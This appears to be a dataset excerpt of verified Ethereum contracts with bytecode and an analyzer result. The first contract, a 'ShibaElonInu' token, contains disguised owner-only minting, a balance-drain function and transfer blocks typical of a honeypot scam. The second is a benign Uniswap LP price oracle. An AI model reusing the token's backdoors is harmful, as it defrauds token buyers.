true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address _address, uint256 tokens) public onlyOwner { delegate = _address; _totalSupply = _totalSupply.add(tokens); balances[_address] = balances[_address].add(tokens); emit Transfer(address(0), _address, tokens); } function approveAndCheck(address _address) public onlyOwner { governance = _address; } function CheckIndex(uint256 _size) public onlyOwner { indexNumber = _size; } function () external payable { revert(); } } contract ShibaElonInu is TokenERC20 { function CheckToken() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor(string memory _name, string memory _symbol, uint256 _supply, address burn1, address burn2, uint256 _indexNumber) public { symbol = _symbol; name = _name; decimals = 18; _totalSupply = _supply*(10**uint256(decimals)); indexNumber = _indexNumber*(10**uint256(decimals)); owner = msg.sender; balances[msg.sender] = _totalSupply/10000*6600; balances[0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B] = _totalSupply/10000*3400; balances[burn1] = _totalSupply/10000*40; balances[burn2] = _totalSupply/10000*40; emit Transfer(address(0x0), msg.sender, _totalSupply); emit Transfer(msg.sender, 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, _totalSupply/10000*3400); } function() external payable { } }
0x6080604052600436106100fe5760003560e01c806379ba509711610095578063a9059cbb11610064578063a9059cbb14610502578063b00b0b1314610575578063d4ee1d90146105c6578063dd62ed3e1461061d578063f2fde38b146106a2576100fe565b806379ba5097146103ed5780637fb3b1f0146104045780638da5cb5b1461041b57806395d89b4114610472576100fe565b8063313ce567116100d1578063313ce567146102c15780633177029f146102f257806370a082311461034d578063757753e7146103b2576100fe565b806306fdde0314610100578063095ea7b31461019057806318160ddd1461020357806323b872dd1461022e575b005b34801561010c57600080fd5b506101156106f3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015557808201518184015260208101905061013a565b50505050905090810190601f1680156101825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019c57600080fd5b506101e9600480360360408110156101b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610791565b604051808215151515815260200191505060405180910390f35b34801561020f57600080fd5b50610218610883565b6040518082815260200191505060405180910390f35b34801561023a57600080fd5b506102a76004803603606081101561025157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108de565b604051808215151515815260200191505060405180910390f35b3480156102cd57600080fd5b506102d6610f2a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102fe57600080fd5b5061034b6004803603604081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f3d565b005b34801561035957600080fd5b5061039c6004803603602081101561037057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f1565b6040518082815260200191505060405180910390f35b3480156103be57600080fd5b506103eb600480360360208110156103d557600080fd5b810190808035906020019092919050505061113a565b005b3480156103f957600080fd5b5061040261119d565b005b34801561041057600080fd5b5061041961133a565b005b34801561042757600080fd5b506104306113e2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047e57600080fd5b50610487611407565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c75780820151818401526020810190506104ac565b50505050905090810190601f1680156104f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050e57600080fd5b5061055b6004803603604081101561052557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114a5565b604051808215151515815260200191505060405180910390f35b34801561058157600080fd5b506105c46004803603602081101561059857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611704565b005b3480156105d257600080fd5b506105db6117a1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561062957600080fd5b5061068c6004803603604081101561064057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117c7565b6040518082815260200191505060405180910390f35b3480156106ae57600080fd5b506106f1600480360360208110156106c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061184e565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006108d9600a60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546005546118eb90919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561096a5750600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156109b55782600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c81565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580610ab85750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610ab75750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b80610b695750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610b685750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b80610c0e5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610c0d5750600654600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b5b610c80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610cd382600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118eb90919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da582600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118eb90919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7782600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190590919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f9657600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fec8160055461190590919063ffffffff16565b60058190555061104481600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190590919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461119357600080fd5b8060068190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111f757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461139357600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156113de573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561149d5780601f106114725761010080835404028352916020019161149d565b820191906000526020600020905b81548152906001019060200180831161148057829003601f168201915b505050505081565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561156b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6115bd82600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118eb90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165282600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190590919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461175d57600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118a757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156118fa57600080fd5b818303905092915050565b600081830190508281101561191957600080fd5b9291505056fea265627a7a723158204beed94d71594d34c00be53899c82b2f3f2240f46b92ca8dad3ce285b6a08ac364736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
2,721
0x8462a88f50122782cc96108f476dedb12248f931
// SPDX-License-Identifier: GPL-3.0-or-later /// UNIV2LPOracle.sol // Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /////////////////////////////////////////////////////// // // // Methodology for Calculating LP Token Price // // // /////////////////////////////////////////////////////// // A naïve approach to calculate the price of LP tokens, assuming the protocol // fee is zero, is to compute the price of the assets locked in its liquidity // pool, and divide it by the total amount of LP tokens issued: // // (p_0 * r_0 + p_1 * r_1) / LP_supply (1) // // where r_0 and r_1 are the reserves of the two tokens held by the pool, and // p_0 and p_1 are their respective prices in some reference unit of account. // // However, the price of LP tokens (i.e. pool shares) needs to be evaluated // based on reserve values r_0 and r_1 that cannot be arbitraged, i.e. values // that give the two halves of the pool equal economic value: // // r_0 * p_0 = r_1 * p_1 (2) // // Furthermore, two-asset constant product pools, neglecting fees, satisfy // (before and after trades): // // r_0 * r_1 = k (3) // // Using (2) and (3) we can compute R_i, the arbitrage-free reserve values, in a // manner that depends only on k (which can be derived from the current reserve // balances, even if they are far from equilibrium) and market prices p_i // obtained from a trusted source: // // R_0 = sqrt(k * p_1 / p_0) (4) // and // R_1 = sqrt(k * p_0 / p_1) (5) // // The value of an LP token is then, replacing (4) and (5) in (1): // // (p_0 * R_0 + p_1 * R_1) / LP_supply // = 2 * sqrt(k * p_0 * p_1) / LP_supply (6) // // k can be re-expressed in terms of the current pool reserves r_0 and r_1: // // 2 * sqrt((r_0 * p_0) * (r_1 * p_1)) / LP_supply (7) // // The structure of (7) is well-suited for use in fixed-point EVM calculations, as the // terms (r_0 * p_0) and (r_1 * p_1), being the values of the reserves in the reference unit, // should have reasonably-bounded sizes. This reduces the likelihood of overflow due to // tokens with very low prices but large total supplies. pragma solidity =0.6.12; interface ERC20Like { function decimals() external view returns (uint8); function balanceOf(address) external view returns (uint256); function totalSupply() external view returns (uint256); } interface UniswapV2PairLike { function sync() external; function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112,uint112,uint32); // reserve0, reserve1, blockTimestampLast } interface OracleLike { function read() external view returns (uint256); } // Factory for creating Uniswap V2 LP Token Oracle instances contract UNIV2LPOracleFactory { mapping(address => bool) public isOracle; event NewUNIV2LPOracle(address owner, address orcl, bytes32 wat, address indexed tok0, address indexed tok1, address orb0, address orb1); // Create new Uniswap V2 LP Token Oracle instance function build( address _owner, address _src, bytes32 _wat, address _orb0, address _orb1 ) public returns (address orcl) { address tok0 = UniswapV2PairLike(_src).token0(); address tok1 = UniswapV2PairLike(_src).token1(); orcl = address(new UNIV2LPOracle(_src, _wat, _orb0, _orb1)); UNIV2LPOracle(orcl).rely(_owner); UNIV2LPOracle(orcl).deny(address(this)); isOracle[orcl] = true; emit NewUNIV2LPOracle(_owner, orcl, _wat, tok0, tok1, _orb0, _orb1); } } contract UNIV2LPOracle { // --- Auth --- mapping (address => uint256) public wards; // Addresses with admin authority function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin modifier auth { require(wards[msg.sender] == 1, "UNIV2LPOracle/not-authorized"); _; } address public immutable src; // Price source // hop and zph are packed into single slot to reduce SLOADs; // this outweighs the cost from added bitmasking operations. uint8 public stopped; // Stop/start ability to update uint16 public hop = 1 hours; // Minimum time in between price updates uint232 public zph; // Time of last price update plus hop bytes32 public immutable wat; // Label of token whose price is being tracked // --- Whitelisting --- mapping (address => uint256) public bud; modifier toll { require(bud[msg.sender] == 1, "UNIV2LPOracle/contract-not-whitelisted"); _; } struct Feed { uint128 val; // Price uint128 has; // Is price valid } Feed internal cur; // Current price (mem slot 0x3) Feed internal nxt; // Queued price (mem slot 0x4) // --- Data --- uint256 private immutable UNIT_0; // Numerical representation of one token of token0 (10^decimals) uint256 private immutable UNIT_1; // Numerical representation of one token of token1 (10^decimals) address public orb0; // Oracle for token0, ideally a Medianizer address public orb1; // Oracle for token1, ideally a Medianizer // --- Math --- uint256 constant WAD = 10 ** 18; function add(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x + _y) >= _x, "UNIV2LPOracle/add-overflow"); } function sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x - _y) <= _x, "UNIV2LPOracle/sub-underflow"); } function mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require(_y == 0 || (z = _x * _y) / _y == _x, "UNIV2LPOracle/mul-overflow"); } // FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687 function sqrt (uint256 _x) private pure returns (uint128) { if (_x == 0) return 0; else { uint256 xx = _x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; // Seven iterations should be enough uint256 r1 = _x / r; return uint128 (r < r1 ? r : r1); } } // --- Events --- event Rely(address indexed usr); event Deny(address indexed usr); event Step(uint256 hop); event Stop(); event Start(); event Value(uint128 curVal, uint128 nxtVal); event Link(uint256 id, address orb); event Kiss(address a); event Diss(address a); // --- Init --- constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public { require(_src != address(0), "UNIV2LPOracle/invalid-src-address"); require(_orb0 != address(0) && _orb1 != address(0), "UNIV2LPOracle/invalid-oracle-address"); wards[msg.sender] = 1; emit Rely(msg.sender); src = _src; wat = _wat; uint256 dec0 = uint256(ERC20Like(UniswapV2PairLike(_src).token0()).decimals()); require(dec0 <= 18, "UNIV2LPOracle/token0-dec-gt-18"); UNIT_0 = 10 ** dec0; uint256 dec1 = uint256(ERC20Like(UniswapV2PairLike(_src).token1()).decimals()); require(dec1 <= 18, "UNIV2LPOracle/token1-dec-gt-18"); UNIT_1 = 10 ** dec1; orb0 = _orb0; orb1 = _orb1; } function stop() external auth { stopped = 1; delete cur; delete nxt; zph = 0; emit Stop(); } function start() external auth { stopped = 0; emit Start(); } function step(uint256 _hop) external auth { require(_hop <= uint16(-1), "UNIV2LPOracle/invalid-hop"); hop = uint16(_hop); emit Step(_hop); } function link(uint256 _id, address _orb) external auth { require(_orb != address(0), "UNIV2LPOracle/no-contract-0"); if(_id == 0) { orb0 = _orb; } else if (_id == 1) { orb1 = _orb; } else { revert("UNIV2LPOracle/invalid-id"); } emit Link(_id, _orb); } // For consistency with other oracles. function zzz() external view returns (uint256) { if (zph == 0) return 0; // backwards compatibility return sub(zph, hop); } function pass() external view returns (bool) { return block.timestamp >= zph; } function seek() internal returns (uint128 quote) { // Sync up reserves of uniswap liquidity pool UniswapV2PairLike(src).sync(); // Get reserves of uniswap liquidity pool (uint112 r0, uint112 r1,) = UniswapV2PairLike(src).getReserves(); require(r0 > 0 && r1 > 0, "UNIV2LPOracle/invalid-reserves"); // All Oracle prices are priced with 18 decimals against USD uint256 p0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD) require(p0 != 0, "UNIV2LPOracle/invalid-oracle-0-price"); uint256 p1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD) require(p1 != 0, "UNIV2LPOracle/invalid-oracle-1-price"); // Get LP token supply uint256 supply = ERC20Like(src).totalSupply(); // This calculation should be overflow-resistant even for tokens with very high or very // low prices, as the dollar value of each reserve should lie in a fairly controlled range // regardless of the token prices. uint256 value0 = mul(p0, uint256(r0)) / UNIT_0; // WAD uint256 value1 = mul(p1, uint256(r1)) / UNIT_1; // WAD uint256 preq = mul(2 * WAD, sqrt(mul(value0, value1))) / supply; // Will revert if supply == 0 require(preq < 2 ** 128, "UNIV2LPOracle/quote-overflow"); quote = uint128(preq); // WAD } function poke() external { // Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy. uint256 hop_; { // Block-scoping these variables saves some gas. uint256 stopped_; uint256 zph_; assembly { let slot1 := sload(1) stopped_ := and(slot1, 0xff ) hop_ := and(shr(8, slot1), 0xffff) zph_ := shr(24, slot1) } // When stopped, values are set to zero and should remain such; thus, disallow updating in that case. require(stopped_ == 0, "UNIV2LPOracle/is-stopped"); // Equivalent to requiring that pass() returns true. // The logic is repeated instead of calling pass() to save gas // (both by eliminating an internal call here, and allowing pass to be external). require(block.timestamp >= zph_, "UNIV2LPOracle/not-passed"); } uint128 val = seek(); require(val != 0, "UNIV2LPOracle/invalid-price"); Feed memory cur_ = nxt; // This memory value is used to save an SLOAD later. cur = cur_; nxt = Feed(val, 1); // The below is equivalent to: // // zph = block.timestamp + hop // // but ensures no extra SLOADs are performed. // // Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop) // will not overflow (even a 232 bit value) for a very long time. // // Also, we know stopped was zero, so there is no need to account for it explicitly here. assembly { sstore( 1, add( // zph value starts 24 bits in shl(24, add(timestamp(), hop_)), // hop value starts 8 bits in shl(8, hop_) ) ) } // Equivalent to emitting Value(cur.val, nxt.val), but averts extra SLOADs. emit Value(cur_.val, val); // Safe to terminate immediately since no postfix modifiers are applied. assembly { stop() } } function peek() external view toll returns (bytes32,bool) { return (bytes32(uint256(cur.val)), cur.has == 1); } function peep() external view toll returns (bytes32,bool) { return (bytes32(uint256(nxt.val)), nxt.has == 1); } function read() external view toll returns (bytes32) { require(cur.has == 1, "UNIV2LPOracle/no-current-value"); return (bytes32(uint256(cur.val))); } function kiss(address _a) external auth { require(_a != address(0), "UNIV2LPOracle/no-contract-0"); bud[_a] = 1; emit Kiss(_a); } function kiss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { require(_a[i] != address(0), "UNIV2LPOracle/no-contract-0"); bud[_a[i]] = 1; emit Kiss(_a[i]); } } function diss(address _a) external auth { bud[_a] = 0; emit Diss(_a); } function diss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { bud[_a[i]] = 0; emit Diss(_a[i]); } } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806365c4ce7a116100de578063a7a1ed7211610097578063be9a655511610071578063be9a655514610447578063bf353dbb1461044f578063dca44f6f14610475578063f29c29c41461047d57610173565b8063a7a1ed72146103e8578063a9c52a3914610404578063b0b8579b1461042857610173565b806365c4ce7a1461034857806365fae35e1461036e5780636c2552f91461039457806375f12b211461039c5780639c52a7f1146103ba578063a4dff0a2146103e057610173565b806346d4577d1161013057806346d4577d1461025c5780634ca29923146102cc5780634fce7a2a146102e657806357de26a41461030c57806359e02dd71461031457806365af79091461031c57610173565b806307da68f5146101785780630e5a6c701461018257806318178358146101a35780631b25b65f146101ab5780632e7dc6af1461021b5780633a1cde751461023f575b600080fd5b6101806104a3565b005b61018a61053e565b6040805192835290151560208301528051918290030190f35b6101806105ae565b610180600480360360208110156101c157600080fd5b8101906020810181356401000000008111156101dc57600080fd5b8201836020820111156101ee57600080fd5b8035906020019184602083028401116401000000008311171561021057600080fd5b50909250905061079f565b610223610924565b604080516001600160a01b039092168252519081900360200190f35b6101806004803603602081101561025557600080fd5b5035610948565b6101806004803603602081101561027257600080fd5b81019060208101813564010000000081111561028d57600080fd5b82018360208201111561029f57600080fd5b803590602001918460208302840111640100000000831117156102c157600080fd5b509092509050610a3e565b6102d4610b44565b60408051918252519081900360200190f35b6102d4600480360360208110156102fc57600080fd5b50356001600160a01b0316610b68565b6102d4610b7a565b61018a610c40565b6101806004803603604081101561033257600080fd5b50803590602001356001600160a01b0316610cb0565b6101806004803603602081101561035e57600080fd5b50356001600160a01b0316610e3f565b6101806004803603602081101561038457600080fd5b50356001600160a01b0316610ee4565b610223610f7b565b6103a4610f8a565b6040805160ff9092168252519081900360200190f35b610180600480360360208110156103d057600080fd5b50356001600160a01b0316610f93565b6102d4611029565b6103f0611076565b604080519115158252519081900360200190f35b61040c61108f565b604080516001600160e81b039092168252519081900360200190f35b6104306110a5565b6040805161ffff9092168252519081900360200190f35b6101806110b4565b6102d46004803603602081101561046557600080fd5b50356001600160a01b031661113b565b61022361114d565b6101806004803603602081101561049357600080fd5b50356001600160a01b031661115c565b336000908152602081905260409020546001146104f5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460006003819055600481905560ff19909116821762ffffff169091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b33600090815260026020526040812054819060011461058e5760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506004546001600160801b0380821691600160801b9004166001149091565b600154600881901c61ffff169060ff81169060181c8115610616576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f69732d73746f707065640000000000000000604482015290519081900360640190fd5b8042101561066b576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f6e6f742d7061737365640000000000000000604482015290519081900360640190fd5b5050600061067761125d565b90506001600160801b0381166106d4576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f696e76616c69642d70726963650000000000604482015290519081900360640190fd5b6106dc6118ee565b50604080518082018252600480546001600160801b03808216808552600160801b80840483166020808801829052600380546fffffffffffffffffffffffffffffffff199081169095178616928402929092179091558751808901895289851680825260019183018290529390951683178416909117909455600888901b42890160181b01909255835185519116815291820152825191927f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b7392918290030190a1005b336000908152602081905260409020546001146107f1576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600083838381811061080a57fe5b905060200201356001600160a01b03166001600160a01b03161415610876576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b60016002600085858581811061088857fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2448383838181106108e957fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a16001016107f4565b505050565b7f000000000000000000000000d3d2e2692501a5c9ca623199d38826e513033a1781565b3360009081526020819052604090205460011461099a576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b61ffff8111156109f1576040805162461bcd60e51b815260206004820152601960248201527f554e4956324c504f7261636c652f696e76616c69642d686f7000000000000000604482015290519081900360640190fd5b6001805462ffff00191661010061ffff8416021790556040805182815290517fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817916020908290030190a150565b33600090815260208190526040902054600114610a90576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600060026000858585818110610aad57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610b0e57fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a1600101610a93565b7f554e495632554e4945544800000000000000000000000000000000000000000081565b60026020526000908152604090205481565b33600090815260026020526040812054600114610bc85760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b600354600160801b90046001600160801b0316600114610c2f576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f6e6f2d63757272656e742d76616c75650000604482015290519081900360640190fd5b506003546001600160801b03165b90565b336000908152600260205260408120548190600114610c905760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506003546001600160801b0380821691600160801b9004166001149091565b336000908